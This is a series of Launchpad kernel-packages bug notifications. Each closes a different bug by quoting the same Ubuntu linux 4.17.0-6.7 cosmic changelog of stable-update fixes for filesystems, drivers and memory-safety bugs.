This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1763388] Re: Bionic update to v4.16.2 stable release
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1620762] Re: Support AverMedia DVD EZMaker 7 USB video capture dongle
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1771823] Re: Please include ax88179_178a and r8152 modules in d-i udeb
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1778997] Re: Cosmic update to v4.17.3 stable release
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1776276] Re: linux: 4.17.0-2.3 -proposed tracker
*** This bug is a duplicate of bug 1783396 *** https://bugs.launchpad.net/bugs/1783396 This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC
[Kernel-packages] [Bug 1776389] Re: [Ubuntu 1804][boston][ixgbe] EEH causes kernel BUG at /build/linux-jWa1Fv/linux-4.15.0/drivers/pci/msi.c:352 (i2S)
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1764645] Re: Bluetooth not working
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section 